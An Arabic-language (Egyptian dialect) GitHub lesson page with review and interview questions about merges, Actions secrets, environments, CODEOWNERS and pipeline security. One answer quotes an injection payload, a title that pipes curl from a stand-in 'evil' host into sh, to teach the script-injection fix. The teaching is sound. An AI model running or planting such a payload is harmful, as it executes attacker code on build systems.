Git نظام تحكم في الإصدارات موزع بيشتغل محلياً. GitHub خدمة بتستضيف repos بـ Git وبتضيف فوقها Issues و PRs و Actions وأدوات أمان وصلاحيات.

ليه Squash merge بيسهّل الـ revert؟

لأن الـ PR كله بيبقى commit واحد على main، فـ git revert <hash> بيتراجع عن الميزة كلها دفعة واحدة، بدل ما تحتاج تتراجع عن commits كتير أو merge commit بـ -m 1.

ليه workflow بيشتغل على pull_request من fork مش بياخد secrets؟

حماية: لو أي حد يفتح fork ويعدّل الـ workflow ويطبع الـ secrets، هيسرقها. لذلك الـ token بيبقى read-only ومن غير secrets. الـ pull_request_target بيشتغل بصلاحيات أعلى فلازم تتعامل معاه بحذر.

إيه فايدة الـ environment في GitHub Actions؟

بيربط الـ job ببيئة (مثل production) فيدّيك secrets مخصصة، وموافقة يدوية من reviewers، وتقييد الـ branches المسموح لها تنشر، وده بيفصل صلاحية البناء عن صلاحية النشر.

الـ cache في Actions ينفع يكون مصدر حقيقة للـ build؟

لا. هو تحسين أداء قابل للمسح (بعد 7 أيام من عدم الاستخدام أو لما يتخطى الحد). لازم الـ build يشتغل صح ببدونه.

قراءة كود

إيه المشكلة الأمنية في: run: echo "${{ github.event.issue.title }}" ؟

Script injection: القيمة بتتحط في نص السكربت قبل تنفيذ الـ shell، فعنوان مثل "; curl evil | sh; " هيتنفّذ. الحل: تمريرها كمتغيّر بيئة env: TITLE: ${{ ... }} واستخدام "$TITLE".

في CODEOWNERS: السطرين * @a ثم /src/Payments/ @b . مين بيراجع تغيير في /src/Payments/x.cs؟

@b بس، لأن آخر pattern مطابق هو الأقوى. السطر العام * بيتغلّب عليه الأخص تحته.

سيناريوهات وأسئلة إنترفيو

سيناريو: الـ CI بيعدّي على branch بس الـ main بتتكسر بعد الدمج. إيه أسباب محتملة وعلاج؟

الـ PR اتفحص على base قديمة وبعدها main اتغيّرت (semantic conflict). العلاج: تفعيل «Require branches to be up to date before merging» أو merge queue، فالـ checks بتشتغل على النتيجة الفعلية للدمج.

إزاي تأمّن pipeline نشر على production؟

environment مع required reviewers، permissions بأقل صلاحية على مستوى الـ job، OIDC بدل secrets طويلة، تثبيت الـ actions على SHA، حماية .github/workflows/ بـ CODEOWNERS، ومنع نشر إلا من main أو tags محددة.

Rulesets ولا Branch Protection الكلاسيكي؟

Rulesets في أي repo جديد: أكتر من ruleset على نفس الـ branch، تفعيل وإيقاف، واستهداف tags، وده أنضف للإدارة. الكلاسيكي لسه شغال، ولو الاتنين اتداخلوا الأكثر تشدداً هو اللي بيتطبق.

↗

المراجع والقراءة الإضافية

References & further reading

الدرس بيشرح الفكرة نفسها؛ الروابط دي للتحقق والتعمق والرجوع لتفاصيل الـ API. (محتاجة إنترنت.)

مصادر تعليمية ومتقدمة — Third-party & advanced reading

خريطة التغطية: 19 عنصر من الـ Roadmap ومكان شرحه في الدرس
RoadmapRepositories§01
RoadmapREADME Files§01
RoadmapIssues§02
RoadmapPull Requests§03
RoadmapCode Reviews§03
RoadmapBranch Protection§04
RoadmapMerge Strategies§04
RoadmapGitHub Projects Basics§02
RoadmapReleases and Tags§05
RoadmapGitHub Actions§06
RoadmapCI/CD Basics§06
RoadmapSecrets and Variables§07
RoadmapPermissions§07
RoadmapForks and Contributions§09
RoadmapSecurity Advisories§10
SuggestedCODEOWNERS§04
SuggestedDependabot and CodeQL§10
SuggestedReusable workflows and caching in Actions§08
SuggestedIssue and PR templates§02

خلصت الدرس وحليت الأسئلة؟ علّم عليه عشان يتحسب في تقدّمك.

محتويات الدرس